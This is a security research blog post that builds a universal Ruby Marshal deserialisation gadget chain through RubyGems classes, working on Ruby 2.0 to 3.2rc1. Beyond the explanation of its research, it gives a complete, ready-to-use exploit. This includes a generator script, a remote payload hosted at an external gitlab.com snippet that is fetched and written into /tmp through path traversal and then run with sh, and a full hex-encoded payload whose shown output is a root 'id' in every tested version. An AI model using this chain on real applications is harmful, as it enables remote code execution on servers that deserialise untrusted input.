Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x
A few months ago I noticed the gadget in my previous article had been patched and no longer worked in Ruby 3.0.3, so I spent a bit of time dusting off the old tools to see if I could find another one.
One of the helper scripts I used is based on the original elttam article. It first autoloads as many classes as it can, then drops into a repl:
def load_classes
ObjectSpace.each_object do |clazz|
if clazz.respond_to? :const_get
Symbol.all_symbols.each do |sym|
begin
clazz.const_get(sym)
rescue NameError
rescue LoadError
end
end
end
end
end
def check(functions)
ObjectSpace.each_object(::Class) do |obj|
all_methods = (obj.instance_methods + obj.private_instance_methods).uniq
functions.each do |function|
if all_methods.include? function
method_origin = obj.instance_method(function).inspect[/\((.*?)\)/, 1] || obj.to_s
if method_origin.nil? || method_origin == ''
method_origin = obj.to_s
end
unless ['Kernel', 'Exception', "Struct", "Module"].include? method_origin
puts obj
puts " #{function} defined by #{method_origin}"
puts " ancestors = #{obj.ancestors}"
puts
end
end
end
end
end
3.times { load_classes }
puts "Enter text:"
$stdin.each_line do |line|
begin
puts eval(line)
rescue => e
puts e
end
puts "Enter text:"
end
# check([:_load, :marshal_load])
Using this allowed me to quickly see if a constant was loaded or use the check
function to dump all classes that implemented a method. For instance, all of the loaded classes that implement _load
or marshal_load
:
check([:_load, :marshal_load])
#<Class:Gem::Specification>
_load defined by str
ancestors = [#<Class:Gem::Specification>, Enumerable, Gem::Deprecate, #<Class:Gem::BasicSpecification>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]
Complex::compatible
marshal_load defined by _
ancestors = [Complex::compatible, Object, Kernel, BasicObject]
Rational::compatible
marshal_load defined by _
ancestors = [Rational::compatible, Object, Kernel, BasicObject]
Gem::Requirement
marshal_load defined by array
ancestors = [Gem::Requirement, Object, Kernel, BasicObject]
Random
marshal_load defined by _
ancestors = [Random, Random::Base, Random::Formatter, Object, Kernel, BasicObject]
#<Class:Time>
_load defined by _
ancestors = [#<Class:Time>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]
Gem::Version
marshal_load defined by array
ancestors = [Gem::Version, Comparable, Object, Kernel, BasicObject]
Addrinfo
marshal_load defined by _
ancestors = [Addrinfo, Object, Kernel, BasicObject]
#<Class:OpenSSL::PKey::EC>
_load defined by OpenSSL::Marshal::ClassMethods
ancestors = [#<Class:OpenSSL::PKey::EC>, OpenSSL::Marshal::ClassMethods, #<Class:OpenSSL::PKey::PKey>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]
...
Even though Gem::Requirement
was patched to ensure that @requirements
was an array, it could still potentially be a kick-off gadget. The Gem::Version
gadget to call to_s
that I previously talked about was still available as well. Looking through the other classes, I saw that Gem::Specification
could also call to_s
on the value of @new_platform
, with the bonus that it would not cause an error after returning:
def self._load(str)
Gem.load_yaml
array = Marshal.load str
spec = Gem::Specification.new
spec.instance_variable_set :@specification_version, array[1]
current_version = CURRENT_SPECIFICATION_VERSION
field_count = if spec.specification_version > current_version
spec.instance_variable_set :@specification_version,
current_version
MARSHAL_FIELDS[current_version]
else
MARSHAL_FIELDS[spec.specification_version]
end
if array.size < field_count
raise TypeError, "invalid Gem::Specification format #{array.inspect}"
end
# Cleanup any Psych::PrivateType. They only show up for an old bug
# where nil => null, so just convert them to nil based on the type.
array.map! {|e| e.kind_of?(Psych::PrivateType) ? nil : e }
spec.instance_variable_set :@rubygems_version, array[0]
# spec version
spec.instance_variable_set :@name, array[2]
spec.instance_variable_set :@version, array[3]
spec.date = array[4]
spec.instance_variable_set :@summary, array[5]
spec.instance_variable_set :@required_ruby_version, array[6]
spec.instance_variable_set :@required_rubygems_version, array[7]
spec.instance_variable_set :@original_platform, array[8]
spec.instance_variable_set :@dependencies, array[9]
# offset due to rubyforge_project removal
spec.instance_variable_set :@email, array[11]
spec.instance_variable_set :@authors, array[12]
spec.instance_variable_set :@description, array[13]
spec.instance_variable_set :@homepage, array[14]
spec.instance_variable_set :@has_rdoc, array[15]
spec.instance_variable_set :@new_platform, array[16]
spec.instance_variable_set :@platform, array[16].to_s
spec.instance_variable_set :@license, array[17]
spec.instance_variable_set :@metadata, array[18]
spec.instance_variable_set :@loaded, false
spec.instance_variable_set :@activated, false
spec
end
I started searching for a gadget for the other end of the chain (something to gain code execution). After a lot of grepping, I rediscovered Gem::Source::Git
( mentioned in the elttam post). Several methods used the @git
variable to shell out, including cache
, checkout
and rev_parse
. The first two methods didn’t seem to be reachable, but rev_parse
was called by Gem::RequestSet::Lockfile#add_GIT
-> Gem::RequestSet::Lockfile#to_s
. This seemed perfect as we already had some kick-off gadgets that could call to_s
!
def rev_parse # :nodoc:
hash = nil
Dir.chdir repo_cache_dir do
hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip
end
raise Gem::Exception,
"unable to find reference #{@reference} in #{@repository}" unless
$?.success?
hash
end
# Gem::Util
def self.popen(*command)
IO.popen command, &:read
end
The @git
and @reference
were fully controllable, but the second argument would always be rev-parse
. IO.popen has a few different ways that it can be called, one of which is using the final argument as a hash with options. I came up with a two-stage payload which would first write echo hi;id;#: 0: cannot open rev-parse: No such file
to the file at /tmp/rev-parse
, then execute it with sh rev-parse
.
Gem::Util.popen(["sh", "echo hi;id;#"], "rev-parse", { err: "/tmp/rev-parse"})
Gem::Util.popen("sh", "rev-parse", { chdir: "/tmp/"})
I started to put the payload together but then ran into a big problem. The rev_parse
method called Dir.chdir repo_cache_dir
before running @git
. Although @root_dir
and @name
were controllable, uri_hash
would always be a sha1 hash:
def repo_cache_dir # :nodoc:
File.join @root_dir, 'cache', 'bundler', 'git', "#{@name}-#{uri_hash}"
end
def uri_hash # :nodoc:
require_relative '../openssl'
normalized =
if @repository =~ %r{^\w+://(\w+@)?}
uri = URI(@repository).normalize.to_s.sub %r{/$},''
uri.sub(/\A(\w+)/) { $1.downcase }
else
@repository
end
OpenSSL::Digest::SHA1.hexdigest normalized
end
This meant that there was no way to make repo_cache_dir
point to a valid directory, and the call to Dir.chdir
would always fail.
Things sat here for a few months until I was reminded by being mentioned in an excellent article about a new rails deserialisation gadget. This got me thinking about the universal gadget again and I decided to continue looking.
I either needed a completely new gadget or find a way to create the required directory so that the call to chdir
would succeed. I began the search for anything that called FileUtils#mkdir_p
, which turned out to be quite a lot of places. After more grepping and making use of the Call Hierarchy
feature in RubyMine, I found a promising candidate at Gem::Source#fetch_spec
.
def fetch_spec(name_tuple)
fetcher = Gem::RemoteFetcher.fetcher
spec_file_name = name_tuple.spec_name
source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
cache_dir = cache_dir source_uri
local_spec = File.join cache_dir, spec_file_name
if File.exist? local_spec
spec = Gem.read_binary local_spec
spec = Marshal.load(spec) rescue nil
return spec if spec
end
source_uri.path << '.rz'
spec = fetcher.fetch_path source_uri
spec = Gem::Util.inflate spec
if update_cache?
require "fileutils"
FileUtils.mkdir_p cache_dir
File.open local_spec, 'wb' do |io|
io.write spec
end
end
# TODO: Investigate setting Gem::Specification#loaded_from to a URI
Marshal.load spec
end
There was a bit of code to make it through before getting to the mkdir_p
call, but it all seemed to be controllable. The fetch_spec
method was called in Gem::Resolver::IndexSpecification#spec
and the Gem::RequestSet::Lockfile#to_s
gadget that was initially used was able to call the spec
method!
def spec # :nodoc:
@spec ||=
begin
tuple = Gem::NameTuple.new @name, @version, @platform
@source.fetch_spec tuple
end
end
The next part was to see if it was possible to get the call to FileUtils.mkdir_p cache_dir
to trigger. Controlling cache_dir
seemed like it would be easy enough as it was built mainly from attributes of the uri:
spec_file_name = name_tuple.spec_name
source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
cache_dir = cache_dir source_uri
def enforce_trailing_slash(uri)
uri.merge(uri.path.gsub(/\/+$/, '') + '/')
end
def cache_dir(uri)
# Correct for windows paths
escaped_path = uri.path.sub(/^\/([a-z]):\//i, '/\\1-/')
escaped_path.tap(&Gem::UNTAINT)
File.join Gem.spec_cache_dir, "#{uri.host}%#{uri.port}", File.dirname(escaped_path)
end
But there were a few issues. The first was that the call to uri.merge
(which is also what + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
uses) will end up calling merge_path
and normalizing the path, which removes any directory traversal in the path. The other was that the call to fetcher.fetch_path
could not raise an error or the cache logic would not happen.
source_uri.path << '.rz'
spec = fetcher.fetch_path source_uri
spec = Gem::Util.inflate spec
The cache_dir
used the host and port of the URI
, but since the instance variables were controllable they did not need to be valid and could be set to anything. I tried out quite a few variations of uris but couldn’t quite get everything to line up. After a while, I noticed that the fetcher supported s3 urls and would try to create a signed url using Gem::S3URISigner#sign
before fetching it:
def sign(expiration = 86400)
s3_config = fetch_s3_config
current_time = Time.now.utc
date_time = current_time.strftime("%Y%m%dT%H%m%SZ")
date = date_time[0,8]
credential_info = "#{date}/#{s3_config.region}/s3/aws4_request"
canonical_host = "#{uri.host}.s3.#{s3_config.region}.amazonaws.com"
query_params = generate_canonical_query_params(s3_config, date_time, credential_info, expiration)
canonical_request = generate_canonical_request(canonical_host, query_params)
string_to_sign = generate_string_to_sign(date_time, credential_info, canonical_request)
signature = generate_signature(s3_config, date, string_to_sign)
URI.parse("https://#{canonical_host}#{uri.path}?#{query_params}&X-Amz-Signature=#{signature}")
end
Since canonical_host
was built up from uri.host
, if a host of google.com?
was used then .s3.#{s3_config.region}.amazonaws.com"
would become part of the query string instead. This meant that uri.port
could contain a directory traversal for the cache_dir
but still have a valid url generated and fetched.
Using this method also meant that we control the contents of the cached file and know it’s location, which could simplify the git gadget a little bit and allow it to run without causing an error:
Gem::Util.popen("tee", "rev-parse", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"}})
Gem::Util.popen("sh", "rev-parse", {})
This first copies the payload from the cache to ./rev-parse
and then executes it. So long as the payload can also be inflated and deserialized into a spec then the whole chain could be run without causing an error.
Putting everything together (after a few small hiccups and lots of debugging) the final gadget was working.
# Autoload the required classes
Gem::SpecFetcher
# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
require "zlib"
spec = Marshal.dump(Gem::Specification.new("bundler"))
out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
puts out.inspect
File.write("a.rz", out)
end
def create_folder
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", "gitlab.com/uploads/-/system/personal_snippet/2281350/9d3ba681a22b25b3ad9cf61ed22a9aaa/a.rz?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
uri.instance_variable_set("@user", "user")
uri.instance_variable_set("@password", "password")
spec = Gem::Source.allocate
spec.instance_variable_set("@uri", uri)
spec.instance_variable_set("@update_cache", true)
request = Gem::Resolver::IndexSpecification.allocate
request.instance_variable_set("@name", "name")
request.instance_variable_set("@source", spec)
s = [request]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies", [])
l
end
def git_gadget(git, reference)
gsg = Gem::Source::Git.allocate
gsg.instance_variable_set("@git", git)
gsg.instance_variable_set("@reference", reference)
gsg.instance_variable_set("@root_dir","/tmp")
gsg.instance_variable_set("@repository","vakzz")
gsg.instance_variable_set("@name","aaa")
basic_spec = Gem::Resolver::Specification.allocate
basic_spec.instance_variable_set("@name","name")
basic_spec.instance_variable_set("@dependencies",[])
git_spec = Gem::Resolver::GitSpecification.allocate
git_spec.instance_variable_set("@source", gsg)
git_spec.instance_variable_set("@spec", basic_spec)
spec = Gem::Resolver::SpecSpecification.allocate
spec.instance_variable_set("@spec", git_spec)
spec
end
def popen_gadget
spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
spec2 = git_gadget("sh", {})
s = [spec1, spec2]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies",[])
l
end
def to_s_wrapper(inner)
s = Gem::Specification.new
s.instance_variable_set("@new_platform", inner)
s
end
folder_gadget = create_folder
exec_gadget = popen_gadget
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
puts r.inspect
puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
This gadget currently works on all ruby versions from 2.0 to 3.2rc1:
for i in `seq -f 2.%g 0 7; seq -f 3.%g 0 1; echo 3.2-rc`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b08631547656d3a3a5370656346657463686572753a1747656d3a3a53706563696669636174696f6e02890204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b066f3a2647656d3a3a5265736f6c7665723a3a496e64657853706563696669636174696f6e073a0a406e616d654922096e616d65063b00543a0c40736f757263656f3a1047656d3a3a536f75726365073a09407572696f3a0e5552493a3a485454500b3a0a40706174684922062f063b00543a0c40736368656d654922077333063b00543a0a40686f73744922606769746c61622e636f6d2f75706c6f6164732f2d2f73797374656d2f706572736f6e616c5f736e69707065742f323238313335302f39643362613638316132326232356233616439636636316564323261396161612f612e727a3f063b00543a0a40706f72744922762f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f063b00543a0a407573657249220975736572063b00543a0e4070617373776f726449220d70617373776f7264063b00543a12407570646174655f6361636865543a1240646570656e64656e636965735b005b007b00753b0002a90204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b076f3a2547656d3a3a5265736f6c7665723a3a5370656353706563696669636174696f6e063a0a40737065636f3a2447656d3a3a5265736f6c7665723a3a47697453706563696669636174696f6e073a0c40736f757263656f3a1547656d3a3a536f757263653a3a4769740a3a0940676974492208746565063b00543a0f407265666572656e63657b063a07696e4922682f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f717569636b2f4d61727368616c2e342e382f6e616d652d2e67656d73706563063b00543a0e40726f6f745f6469724922092f746d70063b00543a10407265706f7369746f727949220a76616b7a7a063b00543a0a406e616d65492208616161063b00543b0f6f3a2147656d3a3a5265736f6c7665723a3a53706563696669636174696f6e073b184922096e616d65063b00543a1240646570656e64656e636965735b006f3b0e063b0f6f3b10073b116f3b120a3b134922077368063b00543b147b003b164922092f746d70063b00543b1749220a76616b7a7a063b00543b18492208616161063b00543b0f6f3b19073b184922096e616d65063b00543b1a5b003b1a5b005b007b00"].pack("H*")) rescue nil'; done
ruby:2.0 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.1 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
3.2-rc: rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi I
bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)